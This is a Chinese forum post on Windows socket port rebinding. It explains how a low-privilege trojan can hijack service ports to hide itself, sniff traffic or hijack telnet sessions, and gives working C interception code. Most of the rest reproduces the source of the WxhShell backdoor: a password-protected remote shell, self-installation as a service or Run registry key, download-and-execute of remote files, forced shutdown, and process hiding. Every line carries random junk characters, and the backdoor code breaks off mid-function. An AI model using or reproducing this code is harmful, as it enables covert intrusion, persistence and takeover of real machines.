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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D2#.qoP #  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?[O Sy.6  
v{U1B  
  saddr.sin_family = AF_INET; j%*<W> O  
UDa\*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jZ69sDhE  
/lvH p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z*:.maq  
fbW#6:Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s0'Xihsw6  
:cTwp K  
  这意味着什么?意味着可以进行如下的攻击: N &vQis  
ch}(v'xv(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;,LlOR  
B3Esfk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gMZ?MG  
i+.bR.WO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P}Ule|&LK  
b*qC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <^jW  
W*|U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NvlG@^&S  
c7N`W}BZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $f<Rj/`&  
=u`^QE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jCbxI^3A  
niN$!k+Jr  
  #include WAcQRa~C  
  #include +#y[sKa  
  #include /F 1mYq~  
  #include    enT.9|vm/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u_U51C\rb  
  int main() *tT }y(M  
  { F/w!4,'<?5  
  WORD wVersionRequested; N~ XzgI  
  DWORD ret; ';!02=-@  
  WSADATA wsaData; R:v`\  
  BOOL val; `795 K8  
  SOCKADDR_IN saddr; Mzxy'U V  
  SOCKADDR_IN scaddr; U(=cGA.$  
  int err; Em R#)c~(W  
  SOCKET s; ? <slB>8  
  SOCKET sc; e&u HU8k*  
  int caddsize; %+9Mr ami  
  HANDLE mt; 2FS,B\d  
  DWORD tid;   ;wz YZ5=Di  
  wVersionRequested = MAKEWORD( 2, 2 ); c;bp[ Y3R  
  err = WSAStartup( wVersionRequested, &wsaData ); D|n`9yv a  
  if ( err != 0 ) { rf8`|9h"7  
  printf("error!WSAStartup failed!\n"); "ND 7,rQ  
  return -1; E-i rB/0  
  } G?d28p',.  
  saddr.sin_family = AF_INET; 3&-BO%i  
   Rj% q)aw'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ` oYrW0Vm  
[ua{qJ9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nQvv'%v0   
  saddr.sin_port = htons(23);  $3%EKi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e2%Y8ZJG.  
  { 3%xj-7z W  
  printf("error!socket failed!\n"); 9[B*CD |  
  return -1; hM(|d@)  
  } >+fet ,  
  val = TRUE; ?!~CX`eMZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (Y!@,rKd   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ( _E<?  
  { #f~#38_  
  printf("error!setsockopt failed!\n"); U w][U  
  return -1; Ohnd:8E  
  } &}%3yrU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h5ST`jZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aBT|Q@Y.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \=4[v-3 H  
BfIGw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -2mm 5E~N  
  { q!9SANTx  
  ret=GetLastError(); R y0n_J:7  
  printf("error!bind failed!\n"); zrG&p Z  
  return -1; _Y*]'?g`  
  } m> ?OjA!  
  listen(s,2); 2bfKD'!aH  
  while(1) Rg,pC.7;  
  { _w=si?q  
  caddsize = sizeof(scaddr); "wTA9\  
  //接受连接请求 ]Z@- r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ' Ky5|4  
  if(sc!=INVALID_SOCKET) PSNrY e  
  { hO@'WoniW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X) xQKkL0  
  if(mt==NULL) Y:/z)"u,C  
  { SV}I+O_w  
  printf("Thread Creat Failed!\n"); W :jC2,s!m  
  break; gz-}nCSi  
  } Y+sycdq  
  } ">lu8F  
  CloseHandle(mt); =zt@*o{F  
  } f 6Bx>lh  
  closesocket(s); InMF$pw  
  WSACleanup(); +hRAU@RA  
  return 0; *obBo6!zM  
  }   gyJ$ Jp  
  DWORD WINAPI ClientThread(LPVOID lpParam) ! iA0u  
  { Q\Fgc ;.U  
  SOCKET ss = (SOCKET)lpParam; \;}F6g  
  SOCKET sc; )&<BQIv9/  
  unsigned char buf[4096]; me#VCkr#  
  SOCKADDR_IN saddr; kf>oZ*/  
  long num; 6+e@)[l.zc  
  DWORD val; U`D/~KJ{Y  
  DWORD ret; iZB?5|*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t0d1? ?G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lW1Al>dW<  
  saddr.sin_family = AF_INET; Mk7,:S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kcVEE)zb  
  saddr.sin_port = htons(23); dQQh$*IL?{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aRdzXq#x  
  { ds,NNN<HW  
  printf("error!socket failed!\n"); K 38e,O  
  return -1; )'KkO$^&  
  } iVLfAN @  
  val = 100; r'#5ncB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r1yz ?Y_P  
  { o nt8q8  
  ret = GetLastError(); KyK%2:  
  return -1; u;GS[E4  
  } i<l_z&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K2<"O qp_W  
  { +1~Y2   
  ret = GetLastError(); }eetx68\  
  return -1; BMkN68q  
  } @r^a/]5D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F$y3oX  
  { $DeHo"mg7m  
  printf("error!socket connect failed!\n"); 8e:J{EG~  
  closesocket(sc); 3,=97Si=  
  closesocket(ss); 85+'9#~!  
  return -1; m-4P*P$X  
  } *]NG@^y  
  while(1) ;fw}<M!6  
  { lk]q\yO_%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eW, {E)x:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HjAhz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4t]ccqX*{  
  num = recv(ss,buf,4096,0); 'hN_H}U  
  if(num>0) w{l}(:xPp  
  send(sc,buf,num,0); |*ss`W7F,2  
  else if(num==0) 6e0tA()F  
  break; y_boJ  
  num = recv(sc,buf,4096,0); Jw3VWc ]]  
  if(num>0) UKV0xl  
  send(ss,buf,num,0); m r"b/oM{  
  else if(num==0) Z:9xf:g *  
  break; $5N%!  
  } ],#Xa.r  
  closesocket(ss); Y S/x;  
  closesocket(sc); Hd]o?q\  
  return 0 ; .\XFhOsa  
  } $`,10uw  
.}!"J`{ W  
Z" j #kaXA  
========================================================== p5`iq~e9  
LK\L}<;1V  
下边附上一个代码,,WXhSHELL 4&%0%  
,Ta k',  
========================================================== B;x5os  
pURtk-Fr2  
#include "stdafx.h" WxLbf +0o  
Od_xH  
#include <stdio.h> ""$vaqt  
#include <string.h> g>` k9`  
#include <windows.h> LtIp,2GP&_  
#include <winsock2.h> )` ~"o*M  
#include <winsvc.h> Y;2WY 0eq  
#include <urlmon.h> U; -2)+  
!\|_,pSB  
#pragma comment (lib, "Ws2_32.lib") >NLG"[\  
#pragma comment (lib, "urlmon.lib") rlxZ,]ul  
w5fVug/;P  
#define MAX_USER   100 // 最大客户端连接数 hOFC8g  
#define BUF_SOCK   200 // sock buffer O0^m_  
#define KEY_BUFF   255 // 输入 buffer )Y4;@pEU  
9o%k [n  
#define REBOOT     0   // 重启 e1cqzhI=nA  
#define SHUTDOWN   1   // 关机 e}lF#$  
tVfZ~q J  
#define DEF_PORT   5000 // 监听端口 ) uM*`%  
eX)'C>4W  
#define REG_LEN     16   // 注册表键长度 u}I-#j)wap  
#define SVC_LEN     80   // NT服务名长度 `/ <y0H  
Sc b'  
// 从dll定义API qzon);#7w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2<$pai"yl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'q>2WP|UY9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7R5m|h`M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a]H&k$!c  
^IQtXae6M  
// wxhshell配置信息 DVJuX~'|!  
struct WSCFG { gq%U5J"x;J  
  int ws_port;         // 监听端口 ?D>%+rK8c  
  char ws_passstr[REG_LEN]; // 口令 `JQw]\f4>  
  int ws_autoins;       // 安装标记, 1=yes 0=no i~Qnw-^B  
  char ws_regname[REG_LEN]; // 注册表键名 UHyGW$B  
  char ws_svcname[REG_LEN]; // 服务名 qa-%j+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \ -n&z;`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z }3` 9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >]{{5oOQ>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /(oxK>*F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K;8{qQ*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <C1w?d$9I  
edai2O  
}; wjtFZGx&  
uNKf!\Y  
// default Wxhshell configuration J497 >w[  
struct WSCFG wscfg={DEF_PORT, %-?k [DL6  
    "xuhuanlingzhe", ^%5 ;Sc1V  
    1, oUl0w~Xn  
    "Wxhshell", tt&#4Z  
    "Wxhshell", `d c&B  
            "WxhShell Service", g)!d03Qoy  
    "Wrsky Windows CmdShell Service", \jmT#Gt`9  
    "Please Input Your Password: ", ?,}:)oA_  
  1, z`H|]${X  
  "http://www.wrsky.com/wxhshell.exe", - +<ai  
  "Wxhshell.exe" h\T}$jgfWm  
    }; >O]u4G!  
!w1 acmo<_  
// 消息定义模块 >//yvkZ9,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M{z&h>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &3Y"Zd!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _xsHU`(J#  
char *msg_ws_ext="\n\rExit."; nt:ZO,C:R  
char *msg_ws_end="\n\rQuit."; :(Ak:  
char *msg_ws_boot="\n\rReboot..."; HXm&`  
char *msg_ws_poff="\n\rShutdown..."; \h>6k  
char *msg_ws_down="\n\rSave to "; 1y3)ogL  
n\GN}?4  
char *msg_ws_err="\n\rErr!"; %OJ"@6A  
char *msg_ws_ok="\n\rOK!"; DX0#q #  
b.q/? Yx  
char ExeFile[MAX_PATH]; fJ  GwT  
int nUser = 0; &>n:7  
HANDLE handles[MAX_USER]; j'x@P+A  
int OsIsNt; -!lSk?l  
g es-nG-  
SERVICE_STATUS       serviceStatus; 8\F|{vt#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i);BTwW)#]  
`3eQ#,G!  
// 函数声明 #.<Dq8u  
int Install(void); }wB!Bx2  
int Uninstall(void); \zh`z/=92  
int DownloadFile(char *sURL, SOCKET wsh); : ]JMsa6  
int Boot(int flag); Ts\PZQ!q  
void HideProc(void); vs^)=  
int GetOsVer(void); RD6>\9  
int Wxhshell(SOCKET wsl); /H?) qk  
void TalkWithClient(void *cs); yxtfyf|9 '  
int CmdShell(SOCKET sock); I!"/I8Y  
int StartFromService(void); !eHQe7_  
int StartWxhshell(LPSTR lpCmdLine); i"0*)$ h W  
lSfPOx;*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =}" P;4:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nt%fJ k  
!a4`SjOgu  
// 数据结构和表定义 ')T*cLQ><  
SERVICE_TABLE_ENTRY DispatchTable[] = ]`q]\EH  
{ %!7A" >ai  
{wscfg.ws_svcname, NTServiceMain}, ^S`N\X  
{NULL, NULL} mg< v9#  
}; (M?VB*sm0  
ov5g`uud  
// 自我安装 )gx*;z@  
int Install(void) t*`G@Nj  
{ Z,-J tl  
  char svExeFile[MAX_PATH]; UGxF}Q  
  HKEY key; %CZGV7JdA  
  strcpy(svExeFile,ExeFile); ai<K6)  
e6>[ZC  
// 如果是win9x系统,修改注册表设为自启动 D W>O]\I  
if(!OsIsNt) { CHi t{ @9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1@N4Y9o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : sG/  
  RegCloseKey(key); =)#<u9 qqL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _}gfec4o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e#vGrLs.  
  RegCloseKey(key); }Ui)xi:8  
  return 0; \maj5VlJ  
    } x6Tpt^N}  
  } 2uT@jfj:r  
} Y=i_2R2e2  
else { KGf@d*ZOMz  
k$.l^H u  
// 如果是NT以上系统,安装为系统服务 {z9,CwJan?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I* P xQ  
if (schSCManager!=0) Uw?25+[b  
{ yO/'}FD  
  SC_HANDLE schService = CreateService g7w#;E  
  ( o4^#W;%w  
  schSCManager, pJ x H  
  wscfg.ws_svcname, q&&uX-ez5W  
  wscfg.ws_svcdisp, ,g1~4,hqQ  
  SERVICE_ALL_ACCESS, VVEJE$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \'X-><1  
  SERVICE_AUTO_START, M<x><U#]A  
  SERVICE_ERROR_NORMAL, t]{, 7.S  
  svExeFile, y#P _ }Kfo  
  NULL, E*yot[kj  
  NULL, C,8@V`  
  NULL, g2vt(Gf;  
  NULL, mC$ te  
  NULL ?es9j]  
  ); /VFQbJ+`  
  if (schService!=0) |}: D_TX  
  { [fJxbr"  
  CloseServiceHandle(schService); + jN)$Y3Ya  
  CloseServiceHandle(schSCManager); z<s ~`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7H)tF&  
  strcat(svExeFile,wscfg.ws_svcname); ?IDkDv!na~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DG=_E\"#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ti<;>P[4  
  RegCloseKey(key); iA4VT,  
  return 0; 8SBa w'a  
    } PKev)M;C+  
  } k#2b3}(,  
  CloseServiceHandle(schSCManager); `uc`vkVZ  
} eH9-GGr  
} rc}=`D`  
qvs[Gkaa@  
return 1; z-|d/#h  
} 2{G7ignv  
C@MJn)$4  
// 自我卸载 D7v.Xq|  
int Uninstall(void) }cIj1:  
{ t?p>L*  
  HKEY key; v){X&HbP  
r2&/Ii+  
if(!OsIsNt) { RRtOBrIedI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { km}E&ao  
  RegDeleteValue(key,wscfg.ws_regname); CbMClnF  
  RegCloseKey(key); $cGV)[KWp@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O_D;_v6Ii+  
  RegDeleteValue(key,wscfg.ws_regname); _z3^.QP  
  RegCloseKey(key); [5]* Be  
  return 0; Ct0%3]<J  
  } G)=+Nt\ *  
} ^56#{~%^?  
} >SS979  
else { &qV_|f;  
++}#pl8e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LfsOGC  
if (schSCManager!=0) fM<g++X  
{ MENrP5AL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zENo2#{_N  
  if (schService!=0) /j:-GJb*!u  
  { ]r1Lr{7^S  
  if(DeleteService(schService)!=0) { Y2>*' nU  
  CloseServiceHandle(schService); ?nozB|*>ut  
  CloseServiceHandle(schSCManager); !_:|mu'  
  return 0; +s5Yg,4*  
  } Z.0mX#  
  CloseServiceHandle(schService); !M k]%  
  } Z?'?+48xv4  
  CloseServiceHandle(schSCManager); Wp=:|J   
} 0urM@/j+  
} P' k`H  
%U$%x  
return 1; (P nrY~9  
} &&n-$WEl  
ulXe;2  
// 从指定url下载文件 \fC}l Ll  
int DownloadFile(char *sURL, SOCKET wsh) .7H* F9  
{ `"|u NVn  
  HRESULT hr;  ePI)~  
char seps[]= "/"; x{{ZV]  
char *token; ;7yt,b5&C  
char *file; B=2f-o  
char myURL[MAX_PATH]; +'D #VG  
char myFILE[MAX_PATH]; "\kr;X'  
D?cE$P  
strcpy(myURL,sURL); n 4EZy<~m  
  token=strtok(myURL,seps); zj'uKBDl  
  while(token!=NULL) ;Z#DB$o\  
  { Jz)c|8U  
    file=token; g8;JpPw  
  token=strtok(NULL,seps); SZC1$..2T  
  } 5,?Au  
t-w4rXvF   
GetCurrentDirectory(MAX_PATH,myFILE); sKOy6v  
strcat(myFILE, "\\"); QLyBP!X-  
strcat(myFILE, file); PF-"^2&_  
  send(wsh,myFILE,strlen(myFILE),0); 2ZFp(e^%  
send(wsh,"...",3,0); J OH=)+xj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LwIX&\Ub  
  if(hr==S_OK) L3X[; |v}  
return 0; h+Tt+ Q\  
else f<( ysl1[  
return 1; 4+r26S,T  
Psu*t%nQ?A  
} Gw Z(3  
btU:=6  
// 系统电源模块 @c{b\is2  
int Boot(int flag) o*|j}hnbv  
{ U*Pi%J  
  HANDLE hToken; r1X\$&  
  TOKEN_PRIVILEGES tkp; }Z\PE0  
0Bhf(5  
  if(OsIsNt) { Q u@T}Ci  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +wg|~Lef h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L-(.v*  
    tkp.PrivilegeCount = 1; fmq9u(!R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5J<ghv>\P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S%m$LM]NCg  
if(flag==REBOOT) { eI*o9k$Qs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~@bh[o~rF  
  return 0; Zae$M0)  
} HWT^u$a"  
else { k M' :.QT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E:ocx2dp  
  return 0; = eDi8A*~  
} ]Syr{|  
  } AIFI@#3  
  else { /0qLMlL$  
if(flag==REBOOT) { B@2VI 1%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >~k"C,6  
  return 0; YV>]c9!q  
} V3$Yr"rZ;  
else { IPT\d^|f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .`K<Iug1  
  return 0; |Ptv)D  
} [.NG~ cpb  
} )R'~{;z }  
Qtpw0t"  
return 1; DZ Q=Sinry  
} Ljjuf=]  
Th)Z?\8zk  
// win9x进程隐藏模块 /<$\)|r  
void HideProc(void) &*N;yW""f  
{ F"Y.'my8  
Sq,x57-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cl5l+I\1  
  if ( hKernel != NULL ) &I$MV5)u  
  { 3ud_d>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wc+)EX~KS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >FabmIcC  
    FreeLibrary(hKernel); K`?",G?_  
  } Q-}yZ  
{"uLV{d  
return; %nfaU~IqK  
} kq kj.#u  
V>&WZY  
// 获取操作系统版本 d}t7bgk'j  
int GetOsVer(void) k*3F7']8  
{ ~SRK}5E  
  OSVERSIONINFO winfo; 3,<$z1Jm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z.q^`01/H  
  GetVersionEx(&winfo); $Dm2>:Dmt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &6`h%;a/&  
  return 1; plRBfw>]N  
  else "NgfdLz  
  return 0; k_hV.CV  
} [Cx'a7KWL  
jr<`@  
// 客户端句柄模块 MM*B.y~TxZ  
int Wxhshell(SOCKET wsl) eiV[y^?  
{ eI7FbOze  
  SOCKET wsh; i0y^b5@MOb  
  struct sockaddr_in client; V9 dRn2- [  
  DWORD myID; M;\iL?,  
qQu}4Ye>  
  while(nUser<MAX_USER) W h^9 Aq  
{ 5QjM,"`mp  
  int nSize=sizeof(client); ST#MCh-00  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); + S^OzCGk  
  if(wsh==INVALID_SOCKET) return 1; (HW!!xM  
e bSG|F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q`l%NE  
if(handles[nUser]==0) dp3>G2Yq  
  closesocket(wsh); ?W*{% my  
else  0#AS>K5  
  nUser++; F?wfh7q  
  } /7 CF f&4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d@a FW  
O"$uw  
  return 0; q*|H*sS  
} Sd !!1a s  
#JFTD[1  
// 关闭 socket 3$u 3ssOL  
void CloseIt(SOCKET wsh) n\v;4ly^  
{ E*!  
closesocket(wsh); =o@CCUKpj  
nUser--; 4' ym vR  
ExitThread(0); L"|~,SVF  
}  jIMT&5k  
K/,y"DUN&  
// 客户端请求句柄 s\k4<d5  
void TalkWithClient(void *cs) H6Mqy}4W  
{ E,S[3+  
Li jisE  
  SOCKET wsh=(SOCKET)cs; QgZwU$`p0  
  char pwd[SVC_LEN]; o"te7nBI  
  char cmd[KEY_BUFF]; "%o,P/<X  
char chr[1]; :ub 4p4h*  
int i,j; OD*\<Sc  
csceu+ IA  
  while (nUser < MAX_USER) { lTe7n'y^^  
KxZO.>,  
if(wscfg.ws_passstr) { `K,{Y_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8 z) K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~$GRgOn  
  //ZeroMemory(pwd,KEY_BUFF); Rr'#OxF  
      i=0; b) k\?'j  
  while(i<SVC_LEN) { 0h[p w   
Z`UwXp_s  
  // 设置超时 h%9>js^~  
  fd_set FdRead; ;"}yVV/4  
  struct timeval TimeOut; >tUi ;!cQ  
  FD_ZERO(&FdRead); F3-<F_4.w  
  FD_SET(wsh,&FdRead); \(ygdZ{R  
  TimeOut.tv_sec=8; S_E-H.d"  
  TimeOut.tv_usec=0; 0Jz5i4B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Kpk1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7,MDFO{n  
[g bYIwL.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0zQ^ 6@  
  pwd=chr[0]; ne]P-50  
  if(chr[0]==0xd || chr[0]==0xa) { {t.5cX"[  
  pwd=0; k`l={f8C  
  break; 9{D u)k  
  }  ZA u=m  
  i++; DqfWu*  
    } a'T8U1  
`&\jOve   
  // 如果是非法用户,关闭 socket 1 ZL91'U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~$I9%z7@  
} 7$;#-l  
y$ L@!r/s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k<.$7Pl3U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S}O>@ %  
'qL:7  
while(1) { Zj+S "`P  
;Av=/hU  
  ZeroMemory(cmd,KEY_BUFF); DzfgPY_Py  
:%6OFO$z  
      // 自动支持客户端 telnet标准   kPhdfF*Q  
  j=0; jL }bGD  
  while(j<KEY_BUFF) { ~4 ~c+^PF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TY."?` [FK  
  cmd[j]=chr[0]; !2.(iuE  
  if(chr[0]==0xa || chr[0]==0xd) { \k DQ[4mGq  
  cmd[j]=0; y:Wq;xEiDo  
  break; P3 Wnso  
  } PykVXZ7j;  
  j++; L701j.7"  
    } 50s1o{xwc  
v qt#JdPp9  
  // 下载文件 IhIz 7.|  
  if(strstr(cmd,"http://")) { %DK0s(*w0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (yx^zW7  
  if(DownloadFile(cmd,wsh)) S!Alno  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RP@U0o  
  else /C[Q?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O$qxo &  
  } C+0MzfLgf  
  else { KKBrw+)AJ  
S55h}5Y  
    switch(cmd[0]) { YiO3.+H  
   i/vo  
  // 帮助 3WVH8Sb  
  case '?': { Fy; sVB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Y:ET1:  
    break; ty"|yA  
  } r}**^"mFy  
  // 安装 XIGz_g;#'w  
  case 'i': { H*m3i;"4p\  
    if(Install()) B\73 Vf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -wh?9 ?W  
    else i/C`]1R/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }508wwv  
    break; *:5S*E&}V  
    } K2XRKoG  
  // 卸载 z#[PTqD-_  
  case 'r': { L@5j? N?F  
    if(Uninstall()) 3s]aXz:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <2n5|.:>  
    else NihUCj"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {\WRW}iO  
    break; 2;wp D2  
    } g"Tb\  
  // 显示 wxhshell 所在路径 `hl8j\HV<}  
  case 'p': { kqH:H~sgD  
    char svExeFile[MAX_PATH]; )+ V)]dS@%  
    strcpy(svExeFile,"\n\r"); o=nF.y  
      strcat(svExeFile,ExeFile); qj7 }]T_  
        send(wsh,svExeFile,strlen(svExeFile),0); &G|^{!p/G  
    break; x5(6U>-Y  
    } gW5yLb_Vz$  
  // 重启 u|mTF>L  
  case 'b': { zA>LrtyK(=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2zV{I*  
    if(Boot(REBOOT)) :>|dE%/e$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+aKk6(_W  
    else {  0"F|)  
    closesocket(wsh); nO+-o;DbC  
    ExitThread(0); 6MD9DqD  
    } Ao U Pq  
    break; &-$27  
    } 4,P(w+  
  // 关机 7D KTd^^M  
  case 'd': { 83adnm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +SB>>  
